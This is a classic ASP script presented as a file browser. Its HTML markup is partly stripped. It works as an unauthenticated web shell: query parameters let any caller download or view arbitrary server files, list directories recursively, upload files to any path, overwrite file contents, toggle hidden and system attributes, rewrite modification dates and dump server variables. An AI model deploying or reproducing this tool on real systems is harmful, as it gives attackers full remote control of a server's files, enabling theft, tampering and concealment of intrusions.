%
Option Explicit
'On Error Resume Next
If Request.QueryString("upload") = "" Then
Session.CodePage = 65001
Else
Session.CodePage = 1252
End If
''
' Scripts name
''
Dim arPath, strScript
arPath = Split(Request.ServerVariables("SCRIPT_NAME"), "/")
strScript = arPath(Ubound(arPath))
''
' List of encodings for file editting
'
' ({@link https://msdn.microsoft.com/en-us/library/ms526296%28v=exchg.10%29.aspx Source})
''
Dim arEncodings
arEncodings = Array( _
"ISO-8859-1", _
"BIG5", _
"EUC-JP", _
"EUC-KR", _
"GB2312", _
"ISO-2022-JP", _
"ISO-2022-KR", _
"ISO-8859-2", _
"ISO-8859-3", _
"ISO-8859-4", _
"ISO-8859-5", _
"ISO-8859-6", _
"ISO-8859-7", _
"ISO-8859-8", _
"ISO-8859-9", _
"KOI8-R", _
"SHIFT-JIS", _
"US-ASCII", _
"UTF-8", _
"UNICODE" _
)
''
' File and folder attributes collection
''
Dim dAttributes
Set dAttributes = Server.CreateObject("Scripting.Dictionary")
dAttributes.Add "n", Array(0, "Normal", False)
dAttributes.Add "r", Array(1, "Read Only", True)
dAttributes.Add "h", Array(2, "Hidden", True)
dAttributes.Add "s", Array(4, "System", True)
dAttributes.Add "v", Array(8, "Volume", False)
dAttributes.Add "f", Array(16, "Directory", False)
dAttributes.Add "a", Array(32, "Archive", True)
dAttributes.Add "l", Array(1024, "Alias", False)
dAttributes.Add "c", Array(2048, "Compressed", False)
''
' Some common MIME types
''
Dim dMimeTypes
Set dMimeTypes = Server.CreateObject("Scripting.Dictionary")
dMimeTypes.Add "asm", "text/x-asm"
dMimeTypes.Add "asp", "text/asp"
dMimeTypes.Add "bat", "text/plain"
dMimeTypes.Add "bmp", "image/bmp"
dMimeTypes.Add "c", "text/plain"
dMimeTypes.Add "conf", "text/plain"
dMimeTypes.Add "cpp", "text/x-c"
dMimeTypes.Add "css", "text/css"
dMimeTypes.Add "csv", "text/csv"
dMimeTypes.Add "gif", "image/gif"
dMimeTypes.Add "h", "text/plain"
dMimeTypes.Add "hta", "text/plain"
dMimeTypes.Add "htm", "text/html"
dMimeTypes.Add "html", "text/html"
dMimeTypes.Add "java", "text/plain"
dMimeTypes.Add "jpeg", "image/jpeg"
dMimeTypes.Add "jpg", "image/jpeg"
dMimeTypes.Add "json", "application/json"
dMimeTypes.Add "list", "text/plain"
dMimeTypes.Add "log", "text/plain"
dMimeTypes.Add "lsp", "text/plain"
dMimeTypes.Add "lst", "text/plain"
dMimeTypes.Add "p", "text/plain"
dMimeTypes.Add "pas", "text/plain"
dMimeTypes.Add "pdf", "application/pdf"
dMimeTypes.Add "php", "text/plain"
dMimeTypes.Add "pl", "text/plain"
dMimeTypes.Add "png", "image/png"
dMimeTypes.Add "py ", "text/x-script.phyton"
dMimeTypes.Add "rss", "application/rss+xml"
dMimeTypes.Add "sh", "text/x-script.sh"
dMimeTypes.Add "shtml ", "text/html"
dMimeTypes.Add "swf", "application/x-shockwave-flash"
dMimeTypes.Add "text", "text/plain"
dMimeTypes.Add "txt", "text/plain"
dMimeTypes.Add "xhtml", "application/xhtml+xml"
dMimeTypes.Add "xml", "application/xml"
dMimeTypes.Add "vbs", "text/plain"
''
' Processes file for downloading
''
If Not Request.QueryString("download") = "" Or Not Request.QueryString("view") = "" Then
Dim strFile
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
If Not Request.QueryString("download") = "" Then
strFile = Request.QueryString("download")
Else
strFile = Request.QueryString("view")
End If
If objFSO.FileExists(strFile) Then
Set objFile = objFSO.GetFile(strFile)
Dim strExtension, strMimeType
strExtension = objFSO.GetExtensionName(objFile.Path)
strMimeType = "application/octet-stream"
If dMimeTypes.Exists(strExtension) Then
strMimeType = dMimeTypes.Item(strExtension)
End If
' ({@link https://nolovelust.com/post/classic-asp-large-file-download-code Source})
Dim intChunkSize, objStream, intStreamSize
intChunkSize = 2048
Server.ScriptTimeout = 900
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Open()
objStream.Type = 1
objStream.LoadFromFile objFile.Path
intStreamSize = objStream.Size
Response.ContentType = strMimeType
'Response.AddHeader "Content-Length", intStreamSize
If Not Request.QueryString("download") = "" Then
Response.AddHeader "Content-Disposition", "attachment;filename=""" & objFile.Name & """;"
Else
Response.AddHeader "Content-Disposition", "inline;filename=""" & objFile.Name & """;"
End If
Response.Buffer = False
For i = 1 To intStreamSize \ intChunkSize
If Not Response.IsClientConnected Then Exit For
Response.BinaryWrite objStream.Read(intChunkSize)
Next
If intStreamSize Mod intChunkSize > 0 Then
If Response.IsClientConnected Then
Response.BinaryWrite objStream.Read(intStreamSize Mod intChunkSize)
End If
End If
objStream.Close
Set objStream = Nothing
Else
Response.Status = "404 Not Found"
Response.Write "File Not Found"
End If
Response.End
End If
''
' Recursive directory listing
''
If Not Request.QueryString("list") = "" Then
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
objStartFolder = Request.QueryString("list")
strFile = ""
If Request.QueryString("level") = "" Then
intMaxLevel = -1
Else
intMaxLevel = Int(Request.QueryString("level"))
End If
Response.Buffer = False
Response.ContentType = "text/plain; charset=""UTF-8"""
Set objFolder = objFSO.GetFolder(objStartFolder)
Set colFiles = objFolder.Files
For Each objFile in colFiles
Response.Write vbCRLF & objFolder.Path & "\\" & objFile.Name
Next
ShowSubfolders objFSO.GetFolder(objStartFolder), 0
Response.End
End If
%>
ASP File Browser
<%
''
'
' FILE UPLOADING
'
''
If Not Request.QueryString("upload") = "" Then
Dim strDestination
strDestination = Request.QueryString("upload")
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
Dim UploadRequest
Dim byteCount, RequestBin
Dim sFullFilePath, sPathEnd
Dim sContentType, sFilePathName, sFileName, sValue
Dim oFile, oFSO
Dim i
Response.Expires = 0
Response.Buffer = TRUE
byteCount = Request.TotalBytes
RequestBin = Request.BinaryRead(byteCount)
Set UploadRequest = Server.CreateObject("Scripting.Dictionary")
BuildUploadRequest RequestBin
' This will place the uploaded file into the root directory of the web site -
' Modify this path as needed.
If Not Right(strDestination, 1) = "\" Then
strDestination = strDestination & "\"
End If
sContentType = UploadRequest.Item("blob").Item("ContentType")
sFilePathName = UploadRequest.Item("blob").Item("FileName")
sFileName = Right(sFilePathName, Len(sFilePathName) - InstrRev(sFilePathName, "\"))
sValue = UploadRequest.Item("blob").Item("Value")
sFullFilePath = strDestination & sFileName
'Create FileSytemObject Component
Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
'Create and Write to a File
sPathEnd = Len(Server.mappath(Request.ServerVariables("PATH_INFO"))) - 14
Set oFile = oFSO.CreateTextFile(sFullFilePath, True)
For i = 1 to LenB(sValue)
oFile.Write Chr(AscB(MidB(sValue,i,1)))
Next
oFile.Close
Set oFile = Nothing
Set oFSO = Nothing
With Response
.Write("Uploaded File: " & sFullFilePath & " ")
.Write("Content Type: " & sContentType & " ")
End With
Set UploadRequest = Nothing
End If
%>
<%
''
'
' FILE/FOLDER'S ATTRIBUTES
'
''
ElseIf Not Request.QueryString("attributes") = "" Then
Dim objAttributes
Dim objItem
Dim strItem, strAttribute, colKeys, strKey
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
strItem = Trim(Request.QueryString("attributes"))
If Right(strItem, 1) = "\" Then
Set objItem = objFSO.GetFolder(strItem)
Else
Set objItem = objFSO.GetFile(strItem)
End If
strAttribute = fsAttributes(objItem.Attributes)
colKeys = dAttributes.Keys
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
For Each strKey In colKeys
If dAttributes.Item(strKey)(2) = True Then
If Not Request.Form("attribute_" & strKey) = "" Then
If InStr(strAttribute, strKey) = 0 Then
objItem.Attributes = objItem.Attributes + dAttributes.Item(strKey)(0)
End If
Else
If InStr(strAttribute, strKey) > 0 Then
objItem.Attributes = objItem.Attributes - dAttributes.Item(strKey)(0)
End If
End If
End If
Next
If Not Request.Form("date") = "" Then
fileDateLastModified strItem, Request.Form("date")
End If
strAttribute = fsAttributes(objItem.Attributes)
End If
%>
<%
''
'
' FILE/FOLDER'S PROPERTIES
'
''
ElseIf Not Request.QueryString("properties") = "" Then
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
strItem = Trim(Request.QueryString("properties"))
If Right(strItem, 1) = "\" Then
Set objItem = objFSO.GetFolder(strItem)
Else
Set objItem = objFSO.GetFile(strItem)
End If
Dim strAttributeName
strAttributeName = ""
strAttribute = fsAttributes(objItem.Attributes)
colKeys = dAttributes.Keys
Dim dProperties
Set dProperties = Server.CreateObject("Scripting.Dictionary")
dProperties.Add "Name", objItem.Name
dProperties.Add "Full Path", objItem.Path
dProperties.Add "Size", convertSize(objItem.Size)
dProperties.Add "Size (Bytes)", objItem.Size
dProperties.Add "Type", objItem.Type
dProperties.Add "Date Created", objItem.DateCreated
dProperties.Add "Date Last Accessed", objItem.DateLastAccessed
dProperties.Add "Date Last Modified", objItem.DateLastModified
For Each strKey In colKeys
If InStr(strAttribute, strKey) > 0 Then
strAttributeName = strAttributeName & dAttributes.Item(strKey)(1) & " - "
End If
Next
dProperties.Add "Attributes", strAttributeName
dProperties.Add "Short Name", objItem.ShortName
dProperties.Add "Short Path", objItem.ShortPath
dProperties.Add "Parent Folder", objItem.ParentFolder
dProperties.Add "Drive", objItem.Drive
%>
<%
colKeys = dProperties.Keys
For Each strKey In colKeys
Response.Write Tab(2) & "
" & vbCRLF
Response.Write Tab(3) & "
" & strKey & "
" & vbCRLF
Response.Write Tab(3) & "
" & dProperties.Item(strKey) & "
" & vbCRLF
Response.Write Tab(2) & "
" & vbCRLF
Next
%>
<%
''
'
' FILE EDITTING
'
''
ElseIf Not Request.QueryString("edit") = "" Then
Dim arSearch, strEncoding, strData, strCurrentEncoding
arSearch = Filter(arEncodings, Request.QueryString("encoding"))
If Ubound(arSearch) = 0 Then
strEncoding = Request.QueryString("encoding")
Else
strEncoding = arEncodings(0)
End If
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
fileWriteText Request.QueryString("edit"), Request.Form("contents"), strEncoding
End If
strData = strConvertHTML(fileReadText(Request.QueryString("edit"), strEncoding))
If Err.Number = 0 Then
%>
<%
End If
''
'
' SERVER VARIABLES
'
''
ElseIf Request.QueryString("server") = "variables" Then
Dim strVariable
Response.Write Tab(1) & "
" & vbCRLF
For Each i In Request.ServerVariables
strVariable = Replace(Request.ServerVariables(i), vbLF, " ")
strVariable = Replace(strVariable, vbCR, "")
Response.Write Tab(2) & "
" & vbCRLF
Response.Write Tab(3) & "
" & i & "
" & vbCRLF
Response.Write Tab(3) & "
" & strVariable & "
" & vbCRLF
Response.Write Tab(2) & "
" & vbCRLF
Next
Response.Write Tab(1) & "
" & vbCRLF
''
'
' FILE BROWSING
'
''
Else
Dim strFolder
Dim objFSO, objFolder
If Request.QueryString("browse") = "" Then
strFolder = Request.ServerVariables("APPL_PHYSICAL_PATH")
If Len(strFolder) = 0 Then strFolder = "."
Else
strFolder = Trim(CStr(Request.QueryString("browse")))
End If
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(strFolder)
If Err.Number = 0 Then
%>
<%
End If
End If
If Err.Number <> 0 Then
Response.Write "Error #: " & CStr(Err.Number) & " " & vbcrLF
Response.Write "Description: " & Err.Description & " " & vbcrLF
Response.Write "Source: " & Err.Source & " " & vbCRLF
End If
%>